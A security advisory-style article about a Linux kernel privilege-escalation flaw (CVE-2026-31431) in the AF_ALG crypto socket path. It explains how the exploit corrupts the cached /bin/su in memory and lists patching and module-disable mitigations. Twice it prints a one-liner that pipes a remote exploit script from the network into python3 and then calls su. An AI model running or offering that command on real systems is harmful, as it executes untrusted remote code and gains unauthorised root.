Key Takeaways
- CVE‑2026‑31431 is a locally exploitable flaw that gives any unprivileged user instant root access on virtually all modern Linux distributions and on Windows WSL2.
- The vulnerability has existed since 2017; a kernel patch is already available, but the short public‑disclosure window left distributors little time to roll out fixes.
- Exploitation requires only 732 bytes of data and can be tested with a simple one‑liner (
curl https://copy.fail/exp | python3 && su), though running scripts from untrusted sources carries its own risk. - Mitigations include disabling the
algif_aeadkernel module via/etc/modprobe.d/disable-algif.confor, when the code is built‑in, restricting AF_ALG socket use with seccomp, AppArmor, or SELinux profiles. - The attack works in memory only: it corrupts the cached copy of an executable (e.g.,
/bin/su) by hijacking the AF_ALG socket’s tag handling, leaving no disk traces and evading many security‑product detections.
Overview of the Vulnerability
Researchers from Xint Code disclosed CVE‑2026‑31431, a local privilege‑escalation bug that lets any unprivileged user obtain root rights instantly. The flaw resides in the Linux kernel’s AF_ALG socket subsystem, which is present in virtually every distribution released since 2017, including Ubuntu 24, RHEL 10, SUSE 16, Amazon Linux 2023, and even the Windows Subsystem for Linux 2 (WSL2). Although a patch has already been merged into the mainline kernel, the rapid public release gave distributors a narrow window to backport the fix, leaving many systems temporarily exposed.
Exploit Simplicity and Test Method
The exploit is remarkably compact: it needs only 732 bytes of payload to trigger. A quick way to verify vulnerability is to run, from a regular user account, the command curl https://copy.fail/exp | python3 && su. This fetches a proof‑of‑concept script, executes it with Python 3, and then attempts to switch to super‑user via su. If the system is unpatched, the command succeeds and grants a root shell. Administrators should exercise caution when executing scripts from external sources, as the test itself introduces a trust risk.
Mitigation Strategies
If a kernel update is not yet available, two primary mitigation paths exist. First, when the algif_aead algorithm is loaded as a loadable module, administrators can disable it by creating a file /etc/modprobe.d/disable-algif.conf containing the line install algif_aead /bin/false. This prevents the module from being loaded at boot or on demand. Second, for distributions that compile algif_aead directly into the kernel core—such as RHEL 10 and WSL2—the socket interface itself must be restricted. Using Linux security frameworks like seccomp, AppArmor, or SELinux to block processes from opening AF_ALG sockets effectively neutralizes the attack vector without requiring a kernel rebuild.
Discovery Context and AI Assistance
The Xint Code security team revealed that the vulnerability was identified with the aid of an AI assistant. They noted that, because the Linux kernel source is publicly accessible, a determined attacker could have uncovered the flaw independently. The team did not elaborate on why they chose an accelerated disclosure timeline, but they suggested that the rapid release may have been an unavoidable consequence of the exploit’s simplicity and the potential for rapid weaponization.
Technical Mechanics: AF_ALG and Splicing
At the heart of the exploit lies the AF_ALG socket family, which allows user‑space applications to offload cryptographic operations to the kernel. When an application sends data to be encrypted or decrypted, it also supplies a “tag” buffer that the kernel uses for authentication data. The attacker splices a pointer to an executable they can read—most conveniently the /bin/su binary—into this tag position. Because the splice does not copy the data, the kernel treats the tag as a reference to the executable’s memory pages.
Optimization in algif_aead
The algif_aead algorithm, which implements AES‑GCM encryption within the AF_ALG framework, contains an internal optimization designed to improve performance. Instead of allocating a temporary buffer and copying the tag data into it, the function chains the tag directly onto the output buffer by reference. This means that any subsequent writes to the output buffer will affect the original tag memory location.
Corruption via authencsn
The authentication encryption routine employed by algif_aead (the authencsn function) writes a fixed 4‑byte value at a known offset within its output buffer. Since the tag buffer—now pointing to the executable’s pages—has been chained into that output buffer, those four bytes are written directly into the kernel’s cached copy of the /bin/su binary. This in‑memory patch alters the binary’s instructions in a way that elevates the caller’s privileges when the program is subsequently executed.
Stealth Characteristics
Because the manipulation occurs solely in kernel memory, no files are written to disk, and the modified executable resides only in the page cache. Traditional antivirus or integrity‑checking tools that scan files on disk will not detect the change. Moreover, the attack does not trigger typical privilege‑escalation heuristics that monitor for setuid binary modifications or abnormal syscall patterns, allowing it to bypass many endpoint‑detection‑and‑response (EDR) solutions.
Impact on Multi‑User Environments
The flaw is especially concerning for shared‑infrastructure scenarios such as web servers, container orchestration platforms (e.g., Kubernetes), CI/CD pipelines, and development workstations where multiple unprivileged accounts coexist. A single compromised user can instantly elevate to root, potentially granting access to all containers, secrets, and host‑level resources on the system. In containerized settings, the host kernel is shared, so a breakout from a user namespace can affect the entire node.
Recommendations for Administrators
System administrators should prioritize applying the latest kernel patches from their distribution’s security repositories as soon as they become available. Where immediate patching is not feasible, implement the module‑disable or socket‑restriction mitigations described above and enforce least‑privilege principles: limit which users can run privileged binaries like su or sudo, and consider employing mandatory access controls to confine untrusted workloads. Regularly auditing AF_ALG socket usage and monitoring for unexpected attempts to open such sockets can also provide early warning of exploitation attempts.
Conclusion
CVE‑2026‑31431 exemplifies how a seemingly minor optimization in a cryptographic pathway can be turned into a powerful local privilege‑escalation weapon. Its simplicity, memory‑only nature, and broad distribution impact make it a critical issue for Linux administrators. Prompt patching, combined with proactive mitigation controls, remains the most effective defense against this stealthy root‑access exploit.